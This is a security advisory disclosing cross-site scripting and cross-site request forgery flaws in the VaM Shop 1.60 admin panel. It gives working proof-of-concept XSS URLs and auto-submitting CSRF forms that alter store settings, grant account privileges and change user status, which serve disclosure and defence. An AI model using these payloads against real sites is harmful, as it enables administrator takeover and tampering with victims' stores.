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Multiple Vulnerabilities in VaM Shop

Advisory ID:HTB22778
Product:VaM Shop
Vendor:Vamsoft
Vulnerable Versions:1.60 and probably prior
Tested Version:1.60
Advisory Publication:December 28, 2010 [without technical details]
Vendor Notification:December 28, 2010
Public Disclosure:January 11, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
CVE References:CVE-2011-0504
CVE-2011-0503
Risk Level:Medium
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in VaM Shop which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in VaM Shop: CVE-2011-0504
1.1 The vulnerability exists due to input sanitation error in the "search" parameter in admin/customers.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/admin/customers.php?search=1"><script>alert(document.cookie)</sc ript>
1.2 The vulnerability exists due to input sanitation error in the "status" parameter in admin/orders.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/admin/orders.php?selected_box=customers&status=2"><script>alert( document.cookie)</script >

2) Cross-site request forgery (CSRF) vulnerabilities in VaM Shop: CVE-2011-0503
2.1 The vulnerability exists due to insufficient validation of the request origin in admin/configuration.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website configuration. Due to insufficient sanitation of input data in the "STORE_NAME" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation examples:
<form action="http://host/admin/configuration.php?gID=1&action=save" method="post" name="main">
<input type="hidden" name="STORE_NAME" value='My Shop"><script>alert(document.cookie)</script>'>
<input type="hidden" name="STORE_OWNER" value="VaM Shop">
<input type="hidden" name="STORE_OWNER_EMAIL_ADDRESS" value="email@example.com">
<input type="hidden" name="EXPECTED_PRODUCTS_SORT" value="desc">
<input type="hidden" name="EXPECTED_PRODUCTS_FIELD" value="date_expected">
<input type="hidden" name="USE_DEFAULT_LANGUAGE_CURRENCY" value="false">
<input type="hidden" name="DISPLAY_CART" value="true">
<input type="hidden" name="ADVANCED_SEARCH_DEFAULT_OPERATOR" value="and">
<input type="hidden" name="STORE_NAME_ADDRESS" value="Address, Country">
<input type="hidden" name="SHOW_COUNTS" value="true">
<input type="hidden" name="CURRENT_TEMPLATE" value="vamshop">
</form>
<script>
document.main.submit();
</script>

2.2 The vulnerability exists due to insufficient validation of the request origin in admin/accounting.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify privileges for arbitrary accounts.
Exploitation examples:
<form action="http://host/admin/accounting.php?cID=USERID&action=save" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="access[]" value="configuration">
<input type="hidden" name="access[]" value="modules">
<input type="hidden" name="access[]" value="customers">
<input type="hidden" name="access[]" value="start">
<input type="hidden" name="access[]" value="content_manager">
<input type="hidden" name="access[]" value="categories">
</form>
<script>
document.main.submit();
</script>


2.3 The vulnerability exists due to insufficient validation of the request origin in admin/customers.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change status of arbitrary user.
Exploitation examples:
<form action="http://host/admin/customers.php?page=1&cID=USERID&action=statusconfi rm" method="post" name="main">
<input type="hidden" name="status" value="0">
</form>
<script>
document.main.submit();
</script>


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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22778 - https://www.htbridge.com/advisory/HTB22778 - Multiple vulnerabilities in VaM Shop
[2] VaM Shop - vamshop.ru - VaM Shop is an e-commerce system written in PHP.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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